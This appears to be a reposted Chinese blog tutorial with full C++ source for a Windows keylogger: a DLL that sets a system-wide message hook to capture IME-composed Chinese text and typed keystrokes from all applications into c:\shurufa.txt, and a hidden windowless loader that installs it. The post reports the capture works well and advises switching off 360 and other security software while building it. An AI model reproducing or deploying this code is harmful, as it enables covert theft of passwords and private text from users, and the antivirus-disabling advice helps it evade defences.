输入法钩子

来源:互联网 发布:航班延误 知乎 编辑:程序博客网 时间:2024/05/18 02:09

分为1个dll工程和1个Win32空工程。

新建一个dll空工程,字符集使用多字节字符集。以下是源代码:

shurufa.h:

#ifndef SHURUFA_H#define SHURUFA_H#include <windows.h>#include <imm.h>#include <stdio.h>#include <string.h>#pragma comment(lib,"Imm32.lib")extern "C" void writefile(char *lpstr);extern "C" void writtitle();extern "C" __declspec(dllexport) BOOL InstallHook();extern "C" __declspec(dllexport) BOOL UnHook();#endif

shurufa.cpp:

#include "shurufa.h"#define FILE_PATH "c:\\shurufa.txt"HHOOK        g_hHook            = NULL;        //hook句柄HINSTANCE  g_hHinstance    = NULL;        //程序句柄HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的HWND         FocusWnd;         //当前窗口句柄,必须使全局的  char title[256];              //获得窗口名字 char *ftemp;                //begin/end 写到文件里面char temptitle[256]="<<标题:";  //<<标题:窗口名字>>char t[2]={0,0};              //捕获单个字母void writefile(char *lpstr){//保存为文件FILE* f1;    f1=fopen(FILE_PATH,"a+");    fwrite(lpstr,strlen(lpstr),1,f1);    fclose(f1);}/*void writtitle(){//保存当前窗口FocusWnd = GetActiveWindow();if(LastFocusWnd != FocusWnd){ftemp="\n---------End----------\n";writefile(ftemp);ftemp="\n--------begin---------\n";writefile(ftemp);GetWindowText(FocusWnd, (LPWSTR)title, 256);  //当前窗口标题LastFocusWnd = FocusWnd;strcat(temptitle,title);strcat(temptitle,">>\n");writefile(temptitle);}}*/LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam){     PMSG pmsg = (PMSG)lParam;    if (nCode == HC_ACTION)    {        switch (pmsg->message)        {        case WM_IME_COMPOSITION:            {                HIMC hIMC;                HWND hWnd=pmsg->hwnd;                DWORD dwSize;                char lpstr[20];                if(pmsg->lParam & GCS_RESULTSTR)                {                    //先获取当前正在输入的窗口的输入法句柄                    hIMC = ImmGetContext(hWnd);                       // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);                    // 缓冲区大小要加上字符串的NULL结束符大小,                    //   考虑到UNICODE                    dwSize += sizeof(WCHAR);                    memset(lpstr, 0, 20);                    // 再调用一次.ImmGetCompositionString获取字符串                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);                    //现在lpstr里面即是输入的汉字了。//writtitle();                //保存当前窗口writefile(lpstr);           //保存为文件                    ImmReleaseContext(hWnd, hIMC);}            }            break;        case WM_CHAR:  //截获发向焦点窗口的键盘消息            {    char ch,str[10];    ch=(char)(pmsg->wParam);    if (ch>=32 && ch<=126)           //可见字符{ //writtitle();t[0]=ch;writefile(t);}if (ch>=8 && ch<=31) //控制字符{switch(ch){    case 8:strcpy(str,"[退格]");break;    case 9:strcpy(str,"[TAB]");break;    case 13:strcpy(str,"[Enter]");break;default:strcpy(str,"n");}if (strcmp(str,"n")){//writtitle();    writefile(str);}}}            break;        }    }LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);    return(lResult);}//HOOK_API BOOL InstallHook()BOOL InstallHook(){    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);    return TRUE;}//HOOK_API BOOL UnHook()BOOL UnHook(){           return UnhookWindowsHookEx(g_hHook);} BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        g_hHinstance=HINSTANCE(hModule);        break;    case DLL_THREAD_ATTACH:        break;    case DLL_THREAD_DETACH:        break;    case DLL_PROCESS_DETACH:        UnHook();        break;    }    return TRUE;}

shurufa.cpp的源代码,主要来自微软专家的博客:VC++截取输入法输入信息钩子dll实现,我稍微进行了一下修改,因为不修改的话,是会报错的,不知道为什么。


再新建一个Win32的空工程,来调用shurufa.dll:

#include "..\shurufa\shurufa.h"//win 函数入口int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpszCmdLine, int nCmdShow){MSG msg;TCHAR text[] = L"Error loading DLL!";TCHAR title[] = L"Key Tracer";BOOL error=FALSE;HINSTANCE dllhinst;//创建安装钩子函数指针,用来记录dll中安装钩子的地址typedef BOOL (*InstallHook)();InstallHook installHook;//加载钩子dllTCHAR dllPath[] = L"shurufa.dll";dllhinst=LoadLibrary(dllPath);//判断是否加载dll成功if (dllhinst!=NULL){installHook=(InstallHook)GetProcAddress(dllhinst, "InstallHook");if (!installHook){FreeLibrary(dllhinst);error=TRUE;}else{installHook();}}else {error=TRUE;}if (error) {MessageBox(GetDesktopWindow(),text,title, MB_OK);}while (GetMessage(&msg,0,0,0)){TranslateMessage(&msg);DispatchMessage(&msg);}return msg.wParam;}


生成的shurufa.dll和shurufa_main.exe放在同一个目录,然后双击shurufa_main.exe使之运行,不过不会有窗口,但是用任务管理器是可以看到的。

打开记事本,输入汉字,然后C盘根目录会产生shurufa.txt。

测试结果还蛮好的,汉字、英文、数字、特殊字符等,都可以记录下来。


注意事项:

在生成dll和exe的时候,要把360等安全软件关了,而不是简单地暂时停止保护多长时间。

原创粉丝点击